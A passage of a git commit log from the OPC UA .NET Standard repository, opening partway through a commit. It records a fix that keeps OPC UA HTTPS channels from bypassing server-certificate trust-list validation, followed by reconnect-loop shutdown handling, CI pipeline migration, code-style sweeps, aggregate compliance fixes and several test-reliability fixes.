  - MaxConnectionsPerServer / MaxRequestContentBufferSize quotas (no
    longer enforced at the HTTP layer)

A server presenting a publicly-trusted CA-issued cert (CA misissuance,
domain takeover, compromised CA) would be accepted while the OPC UA
trust list — the proper authority for OPC UA — was ignored.

Fix:
- CanUseHttpClientFactory() now refuses the factory path whenever the
  channel quotas carry a CertificateValidator (i.e. whenever OPC UA
  server-cert validation is required), unconditionally routing to
  CreateDirectHttpClient() which wires the OPC UA server-cert callback
  and the OPC UA mTLS client cert.
- CreateHttpClient() emits a one-time LogWarning when a non-Shared
  factory was supplied but bypassed for security reasons, so operators
  see that the named HttpClient pipeline (e.g. Polly resilience handler)
  is NOT applied to this OPC UA HTTPS channel.
- DefaultOpcUaHttpClientFactory.Shared continues to take the direct
  path as before (no behavior change for non-DI consumers).

Verified locally:
- Stack/Opc.Ua.Core builds clean on net48 and net10.0 (0 W, 0 E)
- Libraries/Opc.Ua.Client builds clean on net10.0 (0 W, 0 E)
- OpcUaHttpClientFactoryTests on net8.0: 4/4 pass
- Https | Transport | ClientChannelManager filter on net8.0: 112/112 pass
2026-06-11 09:53:51 +02:00
Marc Schier 9c5f875695 Honor ShutdownToken in ChannelEntry reconnect loop (PR #3852 feedback)
@koepalex (copilot finding): When ClientChannelManager.DisposeAsync()
is called while a reconnect cycle is active, the loop continued
forever as a background task. It passed CancellationToken.None to
DelayAsync, EnsureTransportConnectedAsync and NotifyParticipantsAsync,
and never observed the manager's shutdown token. With the default
policy (MaxAttempts = int.MaxValue, infinite budget) the loop never
terminated — it kept retrying with up to 30 s backoff, repeatedly
hitting ObjectDisposedException.

Thread m_host.ShutdownToken through RunReconnectCycleAsync:
  - capture shutdownToken at the top of the cycle
  - ThrowIfCancellationRequested at the top of every while iteration
  - pass shutdownToken to DelayAsync / EnsureTransportConnectedAsync /
    NotifyParticipantsAsync
  - narrow the per-attempt catch around DelayAsync so it only swallows
    OperationCanceledException when shutdown is NOT requested
  - re-throw OperationCanceledException from the per-attempt catches
    around EnsureTransportConnectedAsync and NotifyParticipantsAsync
    when shutdown IS requested, so they don't get reclassified as
    transient and re-loop
  - also re-throw OCE from the inner catch in
    EnsureTransportConnectedAsync's ReconnectAsync branch when ct is
    cancelled, so we don't fall through to CreateTransportChannelAsync
    during shutdown

The outer try/catch already converts the OCE to tcs.TrySetException
and the finally block records duration metric, completes the activity
and tears down the entry — all on the existing well-tested path.
Production behavior pre-fix was unchanged when shutdown was not
requested; only the disposal path is affected.

Verified locally (net10.0):
  - All ClientChannelManager* tests pass (29/29)
  - All Channel*/Reconnect* tests pass (73/73)
2026-06-10 17:29:28 +02:00
Marc Schier 4d613d11dc CI: migrate to netstandard Managed DevOps Pool + per-TFM build matrix (#3866)
# Description

End-to-end migration of the Azure DevOps CI pipelines to the
`netstandard` Managed DevOps Pool with the build matrix re-shaped to fit
the new agents and a handful of test/project fixes that fell out of the
migration.

**Pipeline routing & defaults**

- `azure-pipelines.yml` and `azure-pipelines-preview.yml` default
`managedPool=true`, routing Windows/Linux jobs to the `netstandard`
Managed DevOps Pool with `ImageOverride` demands; flipping the
queue-time boolean to `false` falls back to Microsoft-hosted agents.
- Per-platform images come from the root yml (single source of truth):
- Managed pool: `windows-2022-g2` / `ubuntu-22.04-g2` (Mac stays hosted:
`macOS-15`).
  - Hosted: `windows-2025-vs2026` / `ubuntu-24.04` / `macOS-15`.
- `.azurepipelines/test.yml` and `test-aot.yml` declare `hosted` as a
typed `boolean` parameter so `not(parameters.hosted)` actually evaluates
correctly (an untyped value left it as the string `'false'`, which is
truthy and silently routed managed-pool jobs to Microsoft-hosted
`vmImage` demands).
- macOS test jobs always run on the Microsoft-hosted `macOS-15` image
regardless of `managedPool`; the four per-framework test stages queue a
dedicated `hosted: true` Mac invocation unconditionally and the main
matrix carries only Windows+Linux.
- Test-template prep jobs (which only run a PowerShell matrix script)
run on the managed pool whenever a `poolName` is set, even when the
matrix `hosted: true`, so the Microsoft-hosted parallel-job allotment
isn't blocked.

**Build stage — per-(TFM × configuration) matrix**

- `.azurepipelines/get-matrix.ps1` gained a `-Tfms` parameter that fans
the matrix across target frameworks alongside the existing agent /
configuration dimensions and emits a per-entry `targetTfm`.
- `.azurepipelines/sln.yml` accepts a `tfms` parameter and threads
`$(targetTfm)` into both `dotnet restore` and `dotnet build` as
`/p:CustomTestTarget=$(targetTfm)` so each matrix job builds a single
TFM and fits on the Managed DevOps Pool's small (~16 GB) temp disk.
- `azure-pipelines.yml` `build` stage passes `tfms: 'net10.0,net48'` for
PR builds and the full
`net472,net48,netstandard2.0,netstandard2.1,net8.0,net9.0,net10.0` set
for master / scheduled / manual / fork-PR runs.
- `sln.yml`'s restore step uses `command: custom` (`custom: restore`)
because `command: restore` silently drops the `arguments` input —
without it `/p:CustomTestTarget` never reached restore and
`obj/project.assets.json` was populated with the wrong TFM set.
- `sln.yml` no longer uses the `MSBuild@1` task; it now uses
`DotNetCoreCLI@2` with `dotnet build` so the .NET 10 SDK's bundled
MSBuild (which understands `.slnx`) is used instead of Visual Studio
2022's MSBuild on the managed-pool image.

**Project-level fixes that fell out of the matrix split**

- `Applications/McpServer`, `Applications/MinimalBoilerServer`,
`Applications/MinimalCalcServer`, and `Tests/Opc.Ua.Aot.Tests` each get
a `Directory.Build.targets` that turns the project into a no-op (cleared
`Compile` / `ProjectReference` / `PackageReference` / etc.,
`OutputType=Library`) when `CustomTestTarget` restricts the matrix to a
legacy TFM (`net4*` / `netstandard2.*`) the project can't target. Target
overrides are deliberately avoided — same-named targets in
`Directory.Build.targets` ALWAYS replace the SDK definitions, which
would silently break `dotnet publish` / `dotnet test` in the
unrestricted GitHub Actions flows.
- `Tools/Opc.Ua.MigrationAnalyzer.csproj`'s `ProjectReference` to
`Opc.Ua.MigrationAnalyzer.Core` no longer hard-pins
`SetTargetFramework=net10.0`; the pin follows `CustomTestTarget` (and
falls back to `net10.0` when unset).

**Test reliability**

-
`Tests/Opc.Ua.PubSub.Tests/IntervalRunnerTests.FakeTimeProviderDrivesDeterministicSchedulingAsync`
no longer calls a single `fake.Advance(300)` expecting three timers to
fire — it advances one 100 ms interval at a time and waits for each fire
(the runner only registers the next `Delay` after the previous callback
resumes on the thread pool; on slower CI agents the race surfaces
consistently).
- `Tests/Opc.Ua.Server.Tests/Fluent/SimulationBuilderExtensionsTests`
(four "expect ≥ N ticks in 150 ms" tests) replace fixed
`Task.Delay`/`Thread.Sleep` waits with a `WaitForAsync` polling helper,
eliminating thread-pool cold-start flakiness on slow agents (observed on
the hosted `macOS-15` runner).

## Related Issues

_No tracking issue — pipeline tuning to standardize on the netstandard
Managed DevOps Pool, plus the test/project follow-ups required for the
matrix to be green on that pool._

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage. _(N/A — pipeline +
test-reliability fixes; the two test fixes themselves were verified to
pass 5× in stress runs locally.)_
- [x] I have added all necessary documentation. _(Comments inline in the
new `Directory.Build.targets`, `sln.yml`, and `azure-pipelines.yml`
explain the unusual MSBuild/`DotNetCoreCLI@2` interactions for future
maintainers.)_
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [x] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(Verified
`dotnet build UA.slnx -p:CustomTestTarget=net10.0 -c Release` and
`-p:CustomTestTarget=net48 -c Debug` both complete with 0 errors;
targeted test runs for the two modified test files pass 5/5.)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
2026-06-10 17:19:41 +02:00
Marc Schier a4a7d487d9 McpServer/readme.md: sync tool inventory with Docs (add PKI/Config/NodeSet/Packet Capture, 64 tools) 2026-06-10 17:18:33 +02:00
Marc Schier 297f71cfbe Merge branch 'channelrefinements' into channelrefinements2 2026-06-10 10:10:33 +02:00
Marc Schier 392ad0d3f6 Merge origin/master into channelrefinements
Conflict resolved in Libraries/Opc.Ua.Client/Session/ConnectionStateMachine.cs:
adjacent doc-comment edits. Kept channelrefinements' new
<maxTotalReconnectTime> param doc and adopted master's shorter
<see cref="TimeProvider"/> form (System namespace already imported).

Verified post-merge:
  - Libraries/Opc.Ua.Client: net10.0 build clean (0 W, 0 E)
  - Applications/Quickstarts.Servers: net10.0 build clean (inline NodeId
    fix for SecurityGroups/KeyPushTargets in
    ReferenceServerConfigurationNodeManager survived auto-merge)
  - Tests/Opc.Ua.Client.Tests: net10.0 build clean (only pre-existing
    master CA2000 warnings in StaticIssuerKeyResolverTests)
2026-06-10 09:03:00 +02:00
Marc Schier 53ff029df8 Fix MetricsAreEmittedForReconnectAndGateWaitAsync race on fast runners
CI failure (AzDO build 14553 log 874, net48 Windows): the test asserted
that opcua.channel.reconnect.duration was emitted but only saw the
attempts / gate.wait / open / active measurements.

Root cause: race in the TEST (production behavior is correct).
ChannelEntry.RunReconnectCycleAsync records RecordReconnectAttempt
BEFORE calling tcs.TrySetResult(true), but RecordReconnectDuration
is invoked in the finally block AFTER TrySetResult returns control.
The test awaits the reconnect task — which completes on TrySetResult
— and then immediately asserts both metrics. On a fast net48 runner
the test thread reaches the duration assertion before the finally
block runs, so the histogram measurement is missing.

Add a WaitForMeasurementAsync helper that polls for the duration
measurement with a 2-second budget before the existing hard assertion
fires. The hard assertion is preserved so the test still fails if
the metric is genuinely never emitted.

Verified locally: net48 5/5 runs pass (was 0/1 in CI), net10 1/1 (no
regression).
2026-06-10 08:52:41 +02:00
Marc Schier a81d981755 dotnet format sweep (whitespace, IDE, RCS) + code-style enforcer agent fix (#3865)
# Description

Pure code-style sweep across the repo — no behavioral changes. Drives
`dotnet format` info-level diagnostics down on a large slice of the
codebase (Stack, Libraries, Tests, Tools).

Six commits, applied bottom-up in safety order so each batch leaves the
build green:

1. **`style: fix whitespace and final-newline formatting (WHITESPACE,
FINALNEWLINE)`**
   197 hits across ~30 files; pure mechanical cleanup.

2. **`style: apply dotnet format style fixes (IDE rules)`**
IDE-rule batch via `dotnet format style --severity info` —
`var`/explicit type, simplify names, collection expressions, expression
bodies, unused usings, etc.

3. **`style: apply dotnet format analyzers fixes (RCS blank-line
formatting)`**
   Roslynator formatting (RCS0xxx) blank-line and punctuation rules.

4. **`style: convert comments to doc comments and inline local vars
(RCS1181, RCS1124)`**
24 files. RCS1181 promotes `// summary`-style comments above
public/internal members to `/// <summary>` doc comments; RCS1124 inlines
locals used exactly once. Generated `Tools/` files were reverted to keep
the source-generator outputs deterministic.

5. **`docs(agent): correct --diagnostics flag form and verify Roslynator
4.x code fixers`**
Updates `.github/agents/opc-ua-codestyle-enforcer.agent.md` with two
corrections discovered while running this sweep:
- `dotnet format --diagnostics "RULE1 RULE2"` (single quoted,
space-separated) silently fixes nothing on `dotnet format` 10.x — it
parses as one unknown ID and exits 0. The correct form is `--diagnostics
RULE1 --diagnostics RULE2 …`, repeated per rule.
- Roslynator 4.15.0 **does** ship code fixers for
RCS1078/1118/1124/1140/1142/1181/1221/1260 (the previous "no auto-fixer"
list was outdated). RCS1140/1142 default to `Hidden` so need `--severity
info` to surface and fire; RCS1078 requires
`roslynator_empty_string_style = field` (already set in
`.editorconfig`). Only NUnit4002/2046/2010 genuinely lack auto-fixers in
this stack.

6. **`style: format new code from master merge (dotnet format sweep)`**
After merging master into the branch (commit `e3ebc8742`), re-ran the
same three-phase format sweep on the 151 .cs files brought in by the
merge, scoped per project via repeated `--include`. 81 files changed;
same rule families as commits 1–4.
- Hand-fixed `Tests/Opc.Ua.MigrationAnalyzer.Tests/AnalyzerHarness.cs`
for `RCS1174` (redundant `async`/`await` removal) because the auto-fixer
didn't apply for that specific case.
   - Reverted files that the formatter would break:
- `Libraries/Opc.Ua.Server/Server/ServerInternalData.cs` — multi-TFM
analysis disagreement injected `<<<<<<<` / `=======` / `>>>>>>>`
markers.
-
`Tools/Opc.Ua.MigrationAnalyzer.Core/{Core/Stack/Client/ChannelBase.cs,
Core/Stack/Types/IUserIdentityTokenHandler.cs,
Client/Session/Session.cs}` — IDE0005 removed `using
Opc.Ua.Security.Certificates` that IS used (the files are 1.5.378
reference fixtures for the analyzer).
- `Tests/Opc.Ua.Gds.Tests/PushTest.cs` — IDE0002 over-simplified
`OpcUa.ObjectTypeIds` to `ObjectTypeIds`, which then resolves to a
conflicting type.

### What this PR does **not** touch

- No behavioral or semantic logic changes.
- No `.editorconfig` rule promotions (rules stay at their current
severities; this is a backlog-burndown pass, not a rule tightening).
- Generated source under `Tools/` is intentionally excluded.
- Higher-risk rule families (`RCS1090`/`CA2007` `ConfigureAwait`,
`RCS1249` null-forgiving cleanup, `IDE0270`/`IDE0059`) are left for
follow-up sweeps because they need per-TFM build verification or
semantic review.

## Related Issues

_No tracking issue — this is a non-functional style sweep and the
agent-doc correction is a follow-up to the same work. Happy to open one
if the maintainers prefer._

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage. _(N/A — style-only, no
behavioral change)_
- [x] I have added all necessary documentation. _(agent doc updated with
the two corrections)_
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings. _(verified clean on `net10.0` and `net48`; only
pre-existing `NETSDK1005`/`NETSDK1207` failures on Tools/AOT projects)_
- [ ] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(build
verified on net10 and net48 per batch; full test suite not yet run
locally — relying on CI)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.

---------

Co-authored-by: agent <agent@local>
2026-06-10 08:35:44 +02:00
Marc Schier e7d9a153b9 [Test] Unit tests for ManagedSession revalidation loop (follow-up to #3849) (#3864)
# Description

Follow-up unit tests for the debounced server-certificate revalidation
loop added in PR #3849 (now merged as `15eb55c46`). Codecov flagged
`ManagedSession.CertificateChanges.cs` as the lowest-coverage file in
that PR (34% patch coverage) — the loop body that drives the debounce /
at-most-one-in-flight / re-arm semantics is the heart of the trust/CRL
revalidation behaviour and was previously untested.

## Changes

*
**`Libraries/Opc.Ua.Client/Session/ManagedSession.CertificateChanges.cs`**
— extract `RunRevalidationLoopAsync` into a pure `internal static`
overload that takes a `ChannelReader<int>`, `TimeProvider`, debounce
window, validate callback, logger, and cancellation token. The instance
overload now forwards to it. This gives unit tests a seam without
standing up a connected `ManagedSession` (whose private constructor +
`CreateAsync` triggers a real connect).

*
**`Tests/Opc.Ua.Client.Tests/Session/ManagedSessionRevalidationLoopTests.cs`
(new)** — 5 unit tests covering the loop body in isolation:
- `BurstOfSignalsCollapsesToSingleValidationAsync` — 50 signals →
exactly 1 validation (bounded-1 channel + DropWrite).
- `SignalDuringInflightValidationReArmsExactlyOnceAsync` — re-arm
semantics during in-flight validation.
- `NoSignalMeansNoValidationAsync` — idle loop never invokes the
validator.
- `CancellationDuringDebounceAbortsPendingValidationAsync` —
cancellation cleanly aborts a pending validation.
- `ValidationExceptionsAreSwallowedAndLoopContinuesAsync` — transient
validation failures don't break the loop.

Uses real `TimeProvider.System` with a 50 ms debounce + 250 ms settle
window so each test runs in well under a second. A `FakeTimeProvider`
seam was considered but rejected — the loop's `ReadAsync → Delay →
drain` sequence is racy to drive with a fake clock because the timer is
not created until after the first signal has been consumed.

## Related Issues

- Follow-up to #3562 / #3160 (both fixed in #3849, merged).

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage.
- [x] I have added all necessary documentation. _(None needed — pure
test addition + non-public testing seam.)_
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [x] I ran focused tests locally using the **UA.slnx** projects against
.net **10**, and all 5 new tests passed.
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
2026-06-10 08:35:08 +02:00
Marc Schier b2b4dbb13f [Server] Part 13 Aggregates compliance fixes, full test coverage and docs (#3863)
# Description

Brings the server-side **OPC UA Part 13 (Aggregates) v1.05.07** support
to full conformance: fixes the three genuine non-compliances found by a
spec review, completes value-validated test coverage for **all 37
standard aggregate functions**, and adds documentation. The existing
aggregate engine is a faithful port and was already largely compliant;
this PR closes the remaining gaps.

## Compliance fixes

- **`TreatUncertainAsBad` default (§4.2.1.2).** The server-default
`AggregateConfiguration` (used when a `ReadProcessedDetails` request
sets `UseServerCapabilitiesDefaults = true`) now defaults
`TreatUncertainAsBad` to **`True`** as the spec mandates, in both
`AggregateManager.GetDefaultConfiguration` and the `HistorianDispatcher`
fallback. Behavior change noted in `MigrationGuide.md`.
- **`AnnotationCount` (§5.4.3.20).** Previously counted raw data values.
It now counts **Annotations** per interval, computed in
`HistorianDispatcher.DispatchProcessedReadAsync` from
`IHistorianAnnotationProvider` (endTime-exclusive bucketing;
reverse-time and `ProcessingInterval == 0` handled). Returns
`Bad_AggregateNotSupported` when the provider has no annotation history.
- **StandardDeviation/Variance use all n Good raw values
(§5.4.3.37/.39).** `ComputeStdDev` previously computed over the N−1
sub-regions returned by `GetRegionsInValueSet`, silently dropping the
last raw value. It now computes the mean/variance directly over all Good
raw values in the interval (UseBounds = None), differing only by the
divisor (sample n−1, population n). The population spec-example tests
that used to add a duplicate trailing value as a workaround were updated
to the natural 5-value datasets matching §A.35/.37.

## Tests

- **Calculator coverage is complete for all 37 aggregates** — added
`StatusAggregateCalculatorTests` (DurationGood/Bad, PercentGood/Bad,
WorstQuality/WorstQuality2), the Min/Max `*2` simple-bound variants
(`Minimum2`/`Maximum2`/`Range2`/`MinimumActualTime2`/`MaximumActualTime2`),
and `Interpolative`.
- **End-to-end integration** in `HistoryClientIntegrationTests` over the
live in-process ReferenceServer: value-validated
`Average`/`Minimum`/`Maximum` processed reads and an **AnnotationCount**
write→read round-trip.
- **Dispatcher-level** `AnnotationCount` tests (counts per interval;
`Bad_AggregateNotSupported` without an annotation provider).
- **Tightened `AggregateBaseTests`**: dropped `allowAnyResult` from
`StandardDeviationSample`/`StandardDeviationPopulation`/`NumberOfTransitions`
basecases (now deterministic on seeded data after the D3 fix).
- **Validation tests** for `AggregateConfiguration` per §4.2.1.2:
`PercentDataBad`/`PercentDataGood > 100` and the invalid relationship
`PercentDataGood < (100 - PercentDataBad)`.
- **Cross-cutting**: reversed time-range test (start > end).

## Verification

- Builds: **0 warnings / 0 errors**.
- Aggregate + historian dispatcher + History integration suites green on
**.NET 10** and **.NET Framework 4.8** (cross-TFM).
- Black-box (MCP) check against a standalone `ConsoleReferenceServer`:
both `Server.ServerCapabilities.AggregateFunctions` and
`HistoryServerCapabilities.AggregateFunctions` advertise all 37
functions (§4.2.2.1).

## Notes / out of scope

- AnnotationCount advertisement remains the full standard set with
per-node `Bad_AggregateNotSupported`. This is spec-acceptable: §4.2.2.1
lists what the server *can* support; per-node refinement is the optional
`HistoricalConfiguration.AggregateFunctions`. Conditional advertisement
could be added later as a quality refinement.
- A native-vs-framework-fallback parity test would be useful once a
third-party `IHistorianProcessedProvider` implementation exists; the
bundled `InMemoryHistorianProvider` uses only the framework fallback
today.

## Related Issues

_No existing tracking issue; this addresses OPC 10000-13 (Part 13,
Aggregates) v1.05.07 conformance gaps. Maintainers: please link or open
a tracking issue if one is required._

## Checklist

- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage.
- [x] I have added all necessary documentation.
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings.
- [ ] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(Ran the
aggregate/historian/integration suites on net48 + net10; full-solution
run pending CI.)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
2026-06-10 08:34:09 +02:00
Marc Schier 51e7f42bd7 Fix SwapFaultedEntryAsync: re-activate released lease before reattach
CI failure (Windows net10 test-windows-latest-Sessions, GitHub run
27218339487): ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns
fails with
  Opc.Ua.ServiceResultException : Cannot attach a released channel lease.
  at Opc.Ua.ChannelEntry.ReattachParticipant (...:235)
  at Opc.Ua.ClientChannelManager.SwapFaultedEntryAsync (...:741)

Root cause: when the original ChannelEntry tears down during its
Faulted disposal it calls MarkReleased() on every attached lease.
On the next manager.ReconnectAsync(channel, ct) call the manager
correctly identifies the entry as Faulted and dispatches
SwapFaultedEntryAsync to swap to a fresh entry, but the
ReattachParticipant guard rejects the now-released lease.

The released-state is purely the manager's bookkeeping that the
original entry is gone; the lease handle the caller holds is still
valid. The swap is conceptually re-establishing the lease against
a fresh entry, so re-activating it is the correct semantic.

Adds ManagedTransportChannelLease.MarkActiveForSwap() and calls it
from SwapFaultedEntryAsync after the fresh entry has opened and
before the ReattachParticipant call. This is safe under
SwapFaultedEntryAsync's invariants because the caller holds the
only lease reference.

Verified locally:
- net10: ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns
  passes 1/1
- net48: ReconnectAsyncSwapsFaultedLeaseEntryAsync (the unit-test
  variant) passes 3/3 with no race
- 9/9 Sessions.Tests ChannelManager filter passes
- 1/1 Stress.Tests FaultedEntryRecovery passes
2026-06-09 21:27:13 +02:00
Marc Schier 8116f7901c Fix ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns macOS race
CI failure (macOS net10.0 Sessions tests, AzDO build 14530):
ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns failed
with Opc.Ua.ServiceResultException : [80250000] (BadSessionIdInvalid)
on the AssertReadServerStatusAsync call after the channel-manager
swap to a fresh entry.

Root cause: when the server is stopped + restarted, the server-side
session id is gone. The participant returns RequiresSessionRecreate
from OnReconnectAsync and the manager dispatches Session.RecreateAsync
fire-and-forget (matches the documented "out of band" semantic of
RequiresSessionRecreate). On Windows + Linux the dispatch wins the
race with the immediate AssertReadServerStatusAsync. On a slow macOS
runner the read fires before the recreate has installed a fresh
server-side session id, so the Read against the stale session id
returns BadSessionIdInvalid.

Fix: poll for the post-recreate read to succeed before the final
hard Assert. Uses the existing WaitForAsync(DefaultWait, ct) helper
and a small TryReadServerStatus helper that catches the transient
BadSessionIdInvalid window. The final AssertReadServerStatusAsync
remains so the test still fails hard if recreate never completes.

Verified locally on net10 Windows: 3/3 runs pass in 14-17s.
2026-06-09 17:49:42 +02:00
Marc Schier 775ddd7591 Merge branch 'channelrefinements' into channelrefinements2 2026-06-09 13:32:48 +02:00
Marc Schier ce4a1b0b62 Fix ClientChannelManager.DelaySwapAsync to honor TimeProvider on net48
CI failure: Tests/Opc.Ua.Client.Tests ReconnectAsyncSwapsFaultedLeaseEntryAsync
times out on net48 because DelaySwapAsync had a #if NET8_0_OR_GREATER
guard that fell through to wall-clock Task.Delay(delay, ct) on
net48/netstandard2.1 — so the test's FakeTimeProvider.Advance(100ms)
could not release the 100ms back-off, and the test hung past its
WaitAsync(5s) bound.

Switch to m_timeProvider.Delay(delay, ct) which uses the repo's
existing Stack/Opc.Ua.Core/Types/Utils/TimeProviderExtensions.cs
polyfill: it delegates to Task.Delay(TimeSpan, TimeProvider, CancellationToken)
on net8+ and uses TimeProvider.CreateTimer-based implementation on
older TFMs. Matches the pattern already used by
DirectoryCertificateStore (line 510, 914) and ChannelEntry (line 470).

Verified locally on net48: ReconnectAsyncSwapsFaultedLeaseEntryAsync
passes 1/1 in ~1s after the fix.

The other CI failure on this PR — Server.Tests:AsyncOnTickIsAwaited /
MultipleOnTickHandlersAllFire on macOS net10.0 — is a pre-existing
macOS timer-tick flake from PR #3808 (commit 4756e7c24, on master).
Not related to channelrefinements; will rerun on the new push.
2026-06-09 09:51:22 +02:00
Marc Schier 0597f069eb PR feedback: multi-target net8/9/10, wire MaxActiveSessions, restore bindings + async dispose in tests
* Pcap nuget now multi-targets net8.0;net9.0;net10.0 to match PR description claim
* Rename CaptureSessionManager.MaxActiveSessions const -> DefaultMaxActiveSessions; add instance property; new 4-arg ctor that accepts an override
* AddOpcUaBindingsPcap now passes PcapOptions.MaxActiveSessions through to CaptureSessionManager (was ignored)
* Fix stale Opc.Ua.Diagnostics.Pcap doc reference -> Opc.Ua.Bindings.Pcap
* Docs/McpServer.md: add stop_replay + list_replays rows to tool tables
* PcapBindingsTests + PcapServiceCollectionExtensionsTests: SetUp/TearDown to snapshot+restore the process-wide opc.tcp transport binding
* DefaultCaptureSourceFactoryTests: convert 3 sync-over-async tests to async with await using
* Add new test asserting PcapOptions.MaxActiveSessions actually flows into the resolved CaptureSessionManager
2026-06-09 09:22:45 +02:00
Marc Schier f7366ada6f Merge branch 'channelrefinements' into channelrefinements2 2026-06-08 19:16:06 +02:00
Marc Schier 33dd912ebc Add coverage tests for Opc.Ua.Bindings.Pcap (224 new tests)
Brings test count from 53 to 277 by covering previously-untested areas of the new pcap binding:

- Formats: CSV, JSON, Pcap, PcapNg, ServiceTimeline, Text, TraceFormatterRegistry, FormatKind extensions

- Bindings: ChannelCaptureRegistry, CapturingMessageSocketFactory, PcapBindings, PcapTransportChannelBinding

- Capture: CaptureSession, CaptureSessionManager, DefaultCaptureSourceFactory, ReplayCaptureSource

- DependencyInjection: PcapServiceCollectionExtensions

- Dissection: DecodedServiceCall, OfflineDecodedChunk, ServiceCallReassembler, OfflineSecureChannel (negative paths)

- Frame: CaptureFrame, PcapNgFileWriter

- KeyLog: negative-path reader tests for both JSON and text formats

- Replay: ReplaySession

Added two test-support helpers: InMemoryCaptureSource and TestTelemetryContext.

All 277 tests pass on net10.0 Debug. Build clean (only pre-existing transitive net48 TFM warnings from Opc.Ua.Core.TestFramework, unrelated).
2026-06-08 18:30:25 +02:00
Marc Schier 81acd947a6 Close channel-manager production gaps and eliminate Tests/.../Gaps/
Closes the three carry-forward gaps documented in
Tests/Opc.Ua.Stress.Tests/Channels/Gaps/ (formerly each documented via
an [Explicit] failing test). The realigned tests are relocated to
Channels/Contract/, the [Category("Gaps")] disappears, and the
Gaps/ folder is removed entirely.

G1. Faulted-entry recovery
  Already closed implicitly by Phase E SwapFaultedEntryAsync (PR #3852).
  Test realigned from "expects BadSecureChannelClosed throw" to
  "auto-resets on next ReconnectAsync and reaches Ready" and renamed
  FaultedEntryAutoResetsOnNextReconnectAsync. New file location:
  Tests/Opc.Ua.Stress.Tests/Channels/Contract/FaultedEntryRecoveryTests.cs.
  No production change required; this was a test-vs-design alignment.

G2. Bounded participant timeout
  New ParticipantTimeout on IChannelReconnectPolicy. Default
  Timeout.InfiniteTimeSpan via DIM on net8+/netstandard2.1; legacy TFMs
  opt in via IParticipantTimeoutPolicy (mirrors the existing
  IBudgetAwareChannelReconnectPolicy pattern). ExponentialBackoffChannel-
  ReconnectPolicy sets a sensible default of 30 seconds.
  ChannelEntry.ReactivateParticipantsAsync wraps the participant's
  OnReconnectAsync in WaitAsync(timeout, ct); on timeout the participant
  is reported as TransientFailure for this cycle (the channel-level
  retry policy retries normally; eventually escalates to Faulted via
  the existing MaxAttempts path). A new participant.timeout.count
  metric is emitted per timeout.
  Test realigned from "documents indefinite hang" to "times out within
  bounded wait and surfaces as TransientFailure", renamed
  HungParticipantTimesOutAfterBoundedWaitAsync, and merged into
  Tests/Opc.Ua.Stress.Tests/Channels/Contract/HungParticipantTests.cs.
  The sibling Contract/HungParticipantTests.HungParticipantBlocks-
  ReconnectIndefinitely is also realigned + renamed to
  HungParticipantTimesOutAndOtherParticipantsRecoverAsync. A new
  positive contract test (BoundedParticipantTimeoutHonorsTimeoutAsync)
  guards against false positives. A new live-server integration test
  exercises the timeout via a real ManagedSession in
  Tests/Opc.Ua.Sessions.Tests/ChannelManagerSessionLifecycleIntegration-
  Tests.cs.

G3. RequiresSessionRecreate plumbing
  New RecreateAsync(ct) on IReconnectParticipant. Default no-op via DIM
  on net8+/netstandard2.1; legacy TFMs opt in via
  IRecreateAwareReconnectParticipant. ChannelEntry's switch on
  RequiresSessionRecreate now fire-and-forgets a DispatchRecreate(participant)
  task that invokes RecreateAsync; the manager does NOT block its
  transition to Ready waiting for the recreate (matches the existing
  enum doc that says "the participant is responsible for completing
  its own recreation out of band"). New participant.recreate.count
  + participant.recreate.failure.count metrics emit per dispatch.
  Session.ChannelManager.cs (the Session's IReconnectParticipant
  adapter) overrides RecreateAsync to delegate to the existing
  Session.RecreateInPlaceAsync — this is the actual "wired-through"
  deliverable flagged as PR #3852 carry-forward.
  Test realigned from "documents that nothing is invoked" to "fire-
  and-forget invokes RecreateAsync exactly once", renamed
  RequiresSessionRecreateInvokesRecreateAsync, moved to
  Tests/Opc.Ua.Stress.Tests/Channels/Contract/RecreateDispatchTests.cs.
  The 1 remaining [Ignore]d integration test from PR #3852 is replaced
  by a positive integration test in
  Tests/Opc.Ua.Sessions.Tests/ChannelManagerSessionLifecycleIntegration-
  Tests.cs that simulates BadSessionIdInvalid on reactivation.

Cleanup
  - GapTestBase.cs deleted; unique helpers folded into ContractTestBase.
